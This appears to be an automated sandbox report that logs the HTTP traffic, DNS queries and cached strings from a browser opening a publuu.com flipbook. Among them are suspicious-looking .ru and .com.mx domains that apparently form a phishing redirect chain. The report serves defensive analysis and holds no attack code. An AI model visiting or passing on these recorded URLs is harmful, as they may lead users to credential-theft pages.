Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /831678/1829815/pdf/1829815.pdf?Policy=eyJTdGF0ZW1lbnQiOlt7IlJlc291cmNlIjoiaHR0cCo6Ly9kMnoxbWhmd2V4Z2Fjai5jbG91ZGZyb250Lm5ldC84MzE2NzgvMTgyOTgxNS8qIiwiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6eyJBV1M6RXBvY2hUaW1lIjoxNzQzMDE0MTc4fX19XX0_&Key-Pair-Id=K18OAPGUYFDCND&Signature=EtotKOjN572T1JUd3QXX8SR3vU3f99YaOP1xnqo0X1vE8DDzLR5MNuaYSId%7Ev9FFgcRMc2FzPBXUvLg%7EtbOXBy0v6vg2X%7El9K7SbmbrBbaZn5-hd9DhUlQGiX7dTysHD4R8-wtnbn09WVmlu7Ler4q1maKtYXdpXitjcJNuejfUSHUryEgXEpydwIFxjXMqUOijDBbC8q8ARuVrp%7EUPxj4D6We5mlIvA6kWdQPEWoqygD7DdNiL0fVMqKupGL9E1uhX8iPjWwVdqsmoAZ1dD95-rIDhHui2HBzWvhpH1FEZfe8mSsvBG%7EipSgQ%7Ed8PLX3jKnUzlEw9WIx78uudfnqw__ HTTP/1.1Host: d2z1mhfwexgacj.cloudfront.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /publishers/831678/issues/1829815/downloaded-pdf?cm=0 HTTP/1.1Host: api1.publuu.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://publuu.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /publishers/831678/issues/1829815/downloaded-pdf?cm=0 HTTP/1.1Host: api1.publuu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_245.1.dr	String found in binary or memory: <a target=_blank id="share-modal__fb" href="https://www.facebook.com/publuu"><button class="share-modal__fb"></button></a> equals www.facebook.com (Facebook)
Source: chromecache_245.1.dr	String found in binary or memory: <a target=_blank id="share-modal__linkedin" href="https://www.linkedin.com/company/51717908"><button class="share-modal__linkedin"></button></a> equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: publuu.com
Source: global traffic	DNS traffic detected: DNS query: dkl18tmi4r0t8.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: d2yzdrigfuozes.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: d1uiew9hysv4w7.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: utty56o2qi.execute-api.us-east-2.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: joyeriaangeles.com.mx
Source: global traffic	DNS traffic detected: DNS query: ajtl2.clriwhkc.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: o0xs89.hxnywi.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: d2z1mhfwexgacj.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: api1.publuu.com

Source: unknown

HTTP traffic detected: POST /logs/831678/1829815/simple HTTP/1.1Host: utty56o2qi.execute-api.us-east-2.amazonaws.comConnection: keep-aliveContent-Length: 501sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://publuu.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 26 Mar 2025 17:36:23 GMTContent-Type: application/jsonContent-Length: 42Connection: closex-amzn-RequestId: 9dab2d17-8e92-4651-bb1c-01e5e333b93fx-amzn-ErrorType: MissingAuthenticationTokenExceptionx-amz-apigw-id: IC4rsFxcCYcEv6w=
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 26 Mar 2025 17:36:28 GMTContent-Type: application/jsonContent-Length: 42Connection: closex-amzn-RequestId: 28f67957-281e-4deb-a8d6-100aa829f059x-amzn-ErrorType: MissingAuthenticationTokenExceptionx-amz-apigw-id: IC4siFGpiYcEEqg=
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:36:28 GMTServer: ApacheP3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"Powered-By: PrestaShopConnection: closeTransfer-Encoding: chunkedContent-Type: image/gif
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:36:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yEJLLKGMqsEkbpYHcnnd2copwE3V13m8%2BD6SF%2BamZ%2FzoOLHCoRCyPapdEJz5ajbrdvvyN1gPSUAcp6TqENE75dGDPvaNGpyIIYpW2KXi3yf9m8R9qqrS6NvKZglktFy55tff"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=38406&min_rtt=38378&rtt_var=10843&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2037&delivery_rate=73968&cwnd=91&unsent_bytes=0&cid=2f871c77e6c43ac2&ts=233&x=0"Server: cloudflareCF-RAY: 926869833bfb32b1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85913&min_rtt=85854&rtt_var=18160&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1696&delivery_rate=35554&cwnd=252&unsent_bytes=0&cid=0815715d451af67b&ts=597&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:36:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JpXJZ2TcExFDBoiCMYpVU790pWTZ8UrAEX3HtimxH%2B3Wf1ijDcFHDtLxROFap9JGUcnaQYr3YjX9gs54hkeCywAeX%2BTcCQIutQCpLUI6wEaiSiPWFnfkkcgBKFxDbn6g7Tp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=44119&min_rtt=42215&rtt_var=17190&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2237&delivery_rate=67464&cwnd=88&unsent_bytes=0&cid=1bc661e7524d96fe&ts=429&x=0"Cache-Control: max-age=14400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 926869875e968cd7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85346&min_rtt=85278&rtt_var=18036&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1897&delivery_rate=35831&cwnd=252&unsent_bytes=0&cid=1a32273fdd63ee83&ts=808&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:36:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k7wkWIEzCqPMS2VixqAxI6N66xGGqbaMEuK%2BbyWHJC2x90p0zmsIUtHZ5yLtQvUgf%2Bso%2BzbqzHL49bCrODXhaIf4FvQzKMh87HMVkrPoo7LmMS8RqTdBVeV20IV1BK%2Bm6K%2Fz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=41807&min_rtt=41799&rtt_var=11772&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2056&delivery_rate=68063&cwnd=90&unsent_bytes=0&cid=e736cb34f5c0a0ec&ts=239&x=0"Server: cloudflareCF-RAY: 9268698b0bf543b8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85247&min_rtt=85042&rtt_var=18264&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1715&delivery_rate=35645&cwnd=245&unsent_bytes=0&cid=b8ad4a2f2553eacb&ts=624&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:36:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WLHux8qxfjY5Ll7P%2B7Caa6S%2Bpcg6UozPjvf5IvBQq%2F0aRtijPjXmy%2BbgYqlt1QsabXH%2BMrZwFadWMzINWWTeCYFi%2FKyc%2FeGlMJluNqihiOGJVbrvd128YRa6HD8hamwhw0qq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=35973&min_rtt=35868&rtt_var=10165&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2074&delivery_rate=79300&cwnd=77&unsent_bytes=0&cid=18521f3c58c406c3&ts=226&x=0"Server: cloudflareCF-RAY: 9268699d9ab743bc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85034&min_rtt=84983&rtt_var=18009&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1733&delivery_rate=35891&cwnd=252&unsent_bytes=0&cid=d86f9a6cd37201f8&ts=588&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 26 Mar 2025 17:37:02 GMTContent-Type: application/jsonContent-Length: 42Connection: closex-amzn-RequestId: 9ff4db55-00d4-453a-878f-29d0332517c6x-amzn-ErrorType: MissingAuthenticationTokenExceptionx-amz-apigw-id: IC4xxEWKCYcEnag=

Source: chromecache_177.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_243.1.dr	String found in binary or memory: http://schema.org/Book
Source: chromecache_234.1.dr	String found in binary or memory: https://ajtl2.clriwhkc.ru/o6N2/
Source: chromecache_234.1.dr	String found in binary or memory: https://ajtl2.clriwhkc.ru/o6N2/;
Source: chromecache_243.1.dr	String found in binary or memory: https://api1.publuu.com
Source: chromecache_243.1.dr	String found in binary or memory: https://cms1.publuu.com
Source: chromecache_243.1.dr	String found in binary or memory: https://cms9.publuu.com
Source: chromecache_243.1.dr	String found in binary or memory: https://cvn5wqeu20.execute-api.us-east-2.amazonaws.com/viewer
Source: chromecache_243.1.dr	String found in binary or memory: https://d1u9ua4yk0lyeu.cloudfront.net
Source: chromecache_243.1.dr	String found in binary or memory: https://d2yzdrigfuozes.cloudfront.net
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_1.mp3
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_2.mp3
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_2.ogg
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_4.mp3
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/audio/v1_4.ogg
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/APP-xs.css?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Menu.css?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/loader.css?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-120.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-128.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-152.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-180.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-192.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-196.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-228.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-32.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-57.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-76.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/favicons/favicon-96.png
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh6UVSwaPGQ
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh6UVSwiPGQ
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh7USSwiPGQ
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6uyw4BMUTPHjx4wXiWtFC
